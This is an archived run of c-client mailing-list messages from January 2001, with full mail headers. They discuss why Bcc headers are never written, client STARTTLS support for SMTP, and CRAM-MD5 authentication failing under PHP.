(8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id JAA50824 for ; Fri, 19 Jan 2001 09:41:12 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (grid@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA19441 for ; Fri, 19 Jan 2001 09:41:11 -0800 Message-Id: Date: Fri, 19 Jan 2001 09:35:01 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: why rfc822_header doesn't write bcc? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 19 Jan 2001 15:19:24 +0100 (CET), Vadim Zeitlin wrote: > Just why exactly is the bcc header never written? Because the bcc header isn't supposed to be written, ever. > I am using > this function to write message to a temp file and then call > sendmail (or whatever local MDA there is) to send it (for the > people who don't have or don't want to use SMTP). Use of the -t option in sendmail (or equivalent in other programs) is the worst possible way to send mail. The day will come when your program writes a bcc header that other people see inappropriately, and those people will be very angry at you. If you want to pass on the message to a local sendmail for delivery, you should use sendmail's -bs option, which will use SMTP (albeit through standard I/O) to transmit the envelope information. From pinedev@shivax2.cac.washington.edu Fri Jan 19 10:02:39 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 10:02:38 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA19970 for ; Fri, 19 Jan 2001 10:02:35 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA02502; Fri, 19 Jan 2001 10:02:33 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id JAA30670; Fri, 19 Jan 2001 09:58:50 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id JAA46004 for ; Fri, 19 Jan 2001 09:55:22 -0800 Received: from shiva.jussieu.fr (shiva.jussieu.fr [134.157.0.129]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA22806 for ; Fri, 19 Jan 2001 09:55:19 -0800 Received: from parthe.lpthe.jussieu.fr (parthe.lpthe.jussieu.fr [134.157.10.1]) by shiva.jussieu.fr (8.10.0/jtpda-5.3.3) with ESMTP id f0JHtHq64182 for ; Fri, 19 Jan 2001 18:55:17 +0100 (CET) Received: from seth.lpthe.jussieu.fr (IDENT:zeitlin@seth.lpthe.jussieu.fr [134.157.10.7]) by parthe.lpthe.jussieu.fr (8.11.1/jtpda-5.3.1) with ESMTP id f0JHtG326279 for ; Fri, 19 Jan 2001 18:55:16 +0100 (MET) Received: from (zeitlin@localhost) by seth.lpthe.jussieu.fr (8.8.7/jtpda-5.1) id TAA08358 for c-client@u.washington.edu; Fri, 19 Jan 2001 19:53:45 +0100 Message-Id: Date: Fri, 19 Jan 2001 19:53:40 +0100 (CET) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Vadim Zeitlin To: c-client@u.washington.edu Subject: re: why rfc822_header doesn't write bcc? In-Reply-To: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Sender: zeitlin@lpthe.jussieu.fr X-Priority: 3 (Normal) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [please don't cc me the messages sent to the list, thanks] On 19-Jan-01 Mark Crispin wrote: > On Fri, 19 Jan 2001 15:19:24 +0100 (CET), Vadim Zeitlin wrote: >> Just why exactly is the bcc header never written? > > Because the bcc header isn't supposed to be written, ever. This is what the comment says and I can read (writing is another matter). But just why is it so? The messages received by the user never contain the bcc, so there is no danger here and as for the messages the user sends out, why shouldn't he be able to save them to a file? > The day will come when your program writes a > bcc header that other people see inappropriately, How can this possibly happen? > should use sendmail's -bs option This seems like more work and I don't clearly see what do I gain here? Putting apart any problems with possibly unsecure temp files, what does this change for BCC? Besides, this is not the only place where it creates problems: we had to play games with renaming bcc to x-bcc and back in the offline mode (as cclient strips bcc from the message saved to the outbox without telling anyone and it already cost me half an hour of debugging...) and it would be so much simpler to avoid doing it. So what is exactly the problem with saving BCC headers to a file? Maybe it's something really obvious but I just don't see it. Thank you for any explanation! VZ From pinedev@shivax2.cac.washington.edu Fri Jan 19 10:21:08 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 10:21:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA20336 for ; Fri, 19 Jan 2001 10:21:07 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA03140; Fri, 19 Jan 2001 10:21:05 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id KAA26478; Fri, 19 Jan 2001 10:19:11 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id KAA09366 for ; Fri, 19 Jan 2001 10:16:28 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (nobu@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA29069 for ; Fri, 19 Jan 2001 10:16:27 -0800 Message-Id: Date: Fri, 19 Jan 2001 10:07:07 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Vadim Zeitlin Cc: c-client@u.washington.edu Subject: re: why rfc822_header doesn't write bcc? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 19 Jan 2001 19:53:40 +0100 (CET), Vadim Zeitlin wrote: > [please don't cc me the messages sent to the list, thanks] I do not maintain a customized list of addressee preferences for replies. If the "reply" command in my mail program is not good enough for you, then don't ask questions. > > Because the bcc header isn't supposed to be written, ever. > This is what the comment says and I can read (writing is another > matter). But just why is it so? The bcc header line contains information that can be quite sensitive. It requires special care. > The messages received by the > user never contain the bcc, so there is no danger here Ahem. 61 years ago, the Germans could never cross the Maginot Line, so there is no danger here. Unforeseen occurrances can, and do, happen. So does bad luck. > > should use sendmail's -bs option > This seems like more work and I don't clearly see what do I gain here? > Putting apart any problems with possibly unsecure temp files, what does > this change for BCC? The -bs option uses SMTP to communicate with sendmail via stdio, so all email addresses are transmitted externally from the message header. This is the right way to pass messages to sendmail. It is not significant additional work, and it is much safer. From pinedev@shivax2.cac.washington.edu Fri Jan 19 14:33:16 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 14:33:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA19525 for ; Fri, 19 Jan 2001 14:33:14 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA03456; Fri, 19 Jan 2001 14:33:12 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id OAA25764; Fri, 19 Jan 2001 14:31:37 -0800 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id OAA29322 for ; Fri, 19 Jan 2001 14:29:24 -0800 Received: from e24.nc.us.ibm.com (e24.nc.us.ibm.com [32.97.136.230]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA25684 for ; Fri, 19 Jan 2001 14:29:22 -0800 Received: from southrelay03.raleigh.ibm.com (southrelay03.raleigh.ibm.com [9.37.3.210]) by e24.nc.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA16086; Fri, 19 Jan 2001 17:29:20 -0600 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by southrelay03.raleigh.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id RAA77008; Fri, 19 Jan 2001 17:28:14 -0500 Received: from localhost (IDENT:U95DJOceL5c+LIWcyE8GxRF/AzzE5nvE@localhost [127.0.0.1]) (authenticated (0 bits)) by badlands.lexington.ibm.com (8.12.0.Beta0/8.12.0.Beta0/Debian 8.12.0-1) with ESMTP id f0JMRs0V006344; Fri, 19 Jan 2001 17:27:54 -0500 Message-Id: Date: Fri, 19 Jan 2001 17:27:53 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: Mark Crispin Cc: Subject: re: STARTLLS support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 8 Nov 2000, Mark Crispin wrote: > On Wed, 8 Nov 2000 15:39:48 -0500 (EST), Richard A Nelson wrote: > > Is anyone looking at STARTTLS support in c-client? > > STARTTLS server support already exists. > > STARTTLS client support is on the list for a future version. It will happen > sooner rather than later. > > The main holdup was the late unlamented government restrictions on encryption > software, and the complexity required in hiding SSL/TLS support in "cleansed" > sources. That necessity no longer exists, thankfully. Any news on this front ? My sslwrapper seems to die fairly often for no apparent reason - it'd be nice to forgo the need of it altogether ;-} -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya From pinedev@shivax2.cac.washington.edu Fri Jan 19 14:43:48 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 14:43:47 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA27330 for ; Fri, 19 Jan 2001 14:43:46 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA03747; Fri, 19 Jan 2001 14:43:44 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id OAA28060; Fri, 19 Jan 2001 14:36:31 -0800 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id OAA84444 for ; Fri, 19 Jan 2001 14:34:26 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (pchar@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA17125 for ; Fri, 19 Jan 2001 14:34:25 -0800 Message-Id: Date: Fri, 19 Jan 2001 14:31:13 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Richard A Nelson Cc: c-client@u.washington.edu Subject: re: STARTLLS support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN There isn't any news to report about client STARTTLS support yet. Probably there will not be until we complete the current release cycle (imap-2000# and Pine 4.3#) and get back into long-term development; that is, it'll probably first appear in an imap-2001 beta. Note that the current distribution supports both client and server with SSL IMAP -- that is, port 993 -- as well as server-only STARTTLS. So there shouldn't be any need to use SSL wrappers; there aren't many clients yet which implement STARTTLS and none that I know of which only implement STARTTLS and not port 993. From pinedev@shivax2.cac.washington.edu Fri Jan 19 14:48:29 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 14:48:28 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id OAA28027 for ; Fri, 19 Jan 2001 14:48:27 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA03883; Fri, 19 Jan 2001 14:48:24 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id OAA26530; Fri, 19 Jan 2001 14:46:56 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id OAA97834 for ; Fri, 19 Jan 2001 14:44:24 -0800 Received: from e2.ny.us.ibm.com (e2.ny.us.ibm.com [32.97.182.102]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id OAA10324 for ; Fri, 19 Jan 2001 14:44:23 -0800 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e2.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id RAA63182; Fri, 19 Jan 2001 17:43:23 -0500 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id RAA46558; Fri, 19 Jan 2001 17:43:04 -0500 Received: from localhost (IDENT:ZB+h2tnF23dAoA80geoS/RpLwkHhYZh3@localhost [127.0.0.1]) (authenticated (0 bits)) by badlands.lexington.ibm.com (8.12.0.Beta0/8.12.0.Beta0/Debian 8.12.0-1) with ESMTP id f0JMhbht008001; Fri, 19 Jan 2001 17:43:37 -0500 Message-Id: Date: Fri, 19 Jan 2001 17:43:35 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: Mark Crispin Cc: Subject: re: STARTLLS support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 19 Jan 2001, Mark Crispin wrote: > There isn't any news to report about client STARTTLS support yet. Probably > there will not be until we complete the current release cycle (imap-2000# and > Pine 4.3#) and get back into long-term development; that is, it'll probably > first appear in an imap-2001 beta. I hate to ask, but any eta? > Note that the current distribution supports both client and server with SSL > IMAP -- that is, port 993 -- as well as server-only STARTTLS. So there > shouldn't be any need to use SSL wrappers; there aren't many clients yet which > implement STARTTLS and none that I know of which only implement STARTTLS and > not port 993. My (immediate) concern is smtp, not IMAP: I'd like to direct connect to my smtp server using STARTTLS smtp-server=localhost:25/user=cowboy/ssl/novalidate-cert Instead of the (problematic) sslwrapper smtp-server=localhost:465/user=cowboy/ssl/novalidate-cert -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya From pinedev@shivax2.cac.washington.edu Fri Jan 19 15:22:02 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 15:22:02 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA16756 for ; Fri, 19 Jan 2001 15:22:00 -0800 (PST) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA04979; Fri, 19 Jan 2001 15:21:58 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id PAA22870; Fri, 19 Jan 2001 15:20:28 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id PAA84814 for ; Fri, 19 Jan 2001 15:18:20 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (rick@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA24564 for ; Fri, 19 Jan 2001 15:18:20 -0800 Message-Id: Date: Fri, 19 Jan 2001 15:14:11 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Richard A Nelson Cc: c-client@u.washington.edu Subject: re: STARTLLS support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 19 Jan 2001 17:43:35 -0500 (EST), Richard A Nelson wrote: > I hate to ask, but any eta? Sometime this year. > My (immediate) concern is smtp, not IMAP: > I'd like to direct connect to my smtp server using STARTTLS > smtp-server=localhost:25/user=cowboy/ssl/novalidate-cert > Instead of the (problematic) sslwrapper > smtp-server=localhost:465/user=cowboy/ssl/novalidate-cert Ah, I understand now, especially since The Powers That Be decided to deprecate port 465 (big sigh!). OK, I hear you loud and clear. I'll see about getting client level TLS support sooner rather than later -- by spring, maybe earlier. From pinedev@shivax2.cac.washington.edu Fri Jan 19 15:30:30 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 19 Jan 2001 15:30:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA31525 for ; Fri, 19 Jan 2001 15:30:28 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA12911; Fri, 19 Jan 2001 15:30:27 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id PAA23832; Fri, 19 Jan 2001 15:28:44 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id PAA84750 for ; Fri, 19 Jan 2001 15:26:40 -0800 Received: from e4.ny.us.ibm.com (e4.ny.us.ibm.com [32.97.182.104]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA26039 for ; Fri, 19 Jan 2001 15:26:39 -0800 Received: from northrelay03.pok.ibm.com (northrelay03.pok.ibm.com [9.117.200.23]) by e4.ny.us.ibm.com (8.9.3/8.9.3) with ESMTP id SAA157790; Fri, 19 Jan 2001 18:25:42 -0500 Received: from badlands.lexington.ibm.com (badlands.lexington.ibm.com [9.51.81.11]) by northrelay03.pok.ibm.com (8.8.8m3/NCO v4.95) with ESMTP id SAA81246; Fri, 19 Jan 2001 18:25:22 -0500 Received: from localhost (IDENT:f9K9QmRjsSY46ex+hh9rCR6iSELGdABq@localhost [127.0.0.1]) (authenticated (0 bits)) by badlands.lexington.ibm.com (8.12.0.Beta0/8.12.0.Beta0/Debian 8.12.0-1) with ESMTP id f0JNPlGN012749; Fri, 19 Jan 2001 18:25:47 -0500 Message-Id: Date: Fri, 19 Jan 2001 18:25:46 -0500 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Richard A Nelson To: Mark Crispin Cc: Subject: re: STARTLLS support In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-No-Markup: yes X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 19 Jan 2001, Mark Crispin wrote: > > My (immediate) concern is smtp, not IMAP: > > I'd like to direct connect to my smtp server using STARTTLS > > smtp-server=localhost:25/user=cowboy/ssl/novalidate-cert > > Instead of the (problematic) sslwrapper > > smtp-server=localhost:465/user=cowboy/ssl/novalidate-cert > > Ah, I understand now, especially since The Powers That Be decided to deprecate > port 465 (big sigh!). OK, I hear you loud and clear. I'll see about getting > client level TLS support sooner rather than later -- by spring, maybe earlier. If you need any alpha/beta testers, keep me in mind ;-} Thanks for listening !!! -- Rick Nelson Life'll kill ya -- Warren Zevon Then you'll be dead -- Life'll kill ya From pinedev@shivax2.cac.washington.edu Wed Jan 24 06:42:04 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 24 Jan 2001 06:42:04 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id GAA22182 for ; Wed, 24 Jan 2001 06:42:03 -0800 (PST) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA17548; Wed, 24 Jan 2001 06:42:01 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id GAA19550; Wed, 24 Jan 2001 06:39:26 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id GAA34704 for ; Wed, 24 Jan 2001 06:37:30 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA20386 for ; Wed, 24 Jan 2001 06:37:30 -0800 Received: from ns.katmat.ru (IDENT:root@katmat-radio-eth.viniti-1.relcom.eu.net [193.125.214.10]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id GAA26656 for ; Wed, 24 Jan 2001 06:37:28 -0800 Received: from serg ([192.168.1.247]) by ns.katmat.ru (8.9.3/8.8.7) with SMTP id RAA27956 for ; Wed, 24 Jan 2001 17:37:34 +0300 Message-Id: <01012417351201.02306@serg> Date: Wed, 24 Jan 2001 17:35:12 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: serg To: c-client@CAC.Washington.EDU Content-Type: text/plain; charset="koi8r" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 25 01:08:13 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Jan 2001 01:08:13 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id BAA26632 for ; Thu, 25 Jan 2001 01:08:12 -0800 (PST) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA14920; Thu, 25 Jan 2001 01:08:10 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id BAA16656; Thu, 25 Jan 2001 01:06:08 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id BAA37706 for ; Thu, 25 Jan 2001 01:04:21 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA09816 for ; Thu, 25 Jan 2001 01:04:21 -0800 Received: from ns.katmat.ru (IDENT:root@katmat-radio-eth.viniti-1.relcom.eu.net [193.125.214.10]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA24354 for ; Thu, 25 Jan 2001 01:04:19 -0800 Received: from serg ([192.168.1.247]) by ns.katmat.ru (8.9.3/8.8.7) with SMTP id NAA03298 for ; Thu, 25 Jan 2001 13:01:43 +0300 Message-Id: <01012512021402.00662@serg> Date: Thu, 25 Jan 2001 12:02:14 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: serg To: c-client@CAC.Washington.EDU Subject: cram-md5 fail? Content-Type: text/plain; charset="koi8r" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all and sorry for my english. I'm just install imap-2000 and php 4.0.X. Work fine with plaintext auth. My Cyrus server support both cram-md5 and digest-md5 authenticators. But cram-md5 work only with mtest utility. By default php use sasl plain, not cram-md5. And even if i attach /secure flag it doesn't work (say Can't do secure authentication with this server). It call imap_login, not imap_auth. Why? -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Jan 25 01:15:10 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 25 Jan 2001 01:15:10 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id BAA27489 for ; Thu, 25 Jan 2001 01:15:09 -0800 (PST) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA24588; Thu, 25 Jan 2001 01:15:07 -0800 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with SMTP id BAA23600; Thu, 25 Jan 2001 01:13:13 -0800 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW00.12) with ESMTP id BAA37778 for ; Thu, 25 Jan 2001 01:12:28 -0800 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA10413 for ; Thu, 25 Jan 2001 01:12:28 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (edm@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id BAA24516 for ; Thu, 25 Jan 2001 01:12:27 -0800 Message-Id: Date: Thu, 25 Jan 2001 01:11:22 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: serg Cc: c-client@CAC.Washington.EDU Subject: re: cram-md5 fail? In-Reply-To: <01012512021402.00662@serg> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 25 Jan 2001 12:02:14 +0200, serg wrote: > But cram-md5 work only with mtest utility. > By default php use sasl plain, not cram-md5. This sounds like php isn't using the standard linkage.c file, but instead is doing the linkage itself and omitting the linkage of the CRAM-MD5 authenticator. From pinedev@shivax2.cac.washington.edu Tue Jan 30 06:33:26 2001 -0800 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 30 Jan 2001 06:33:25 -0800 (PST) 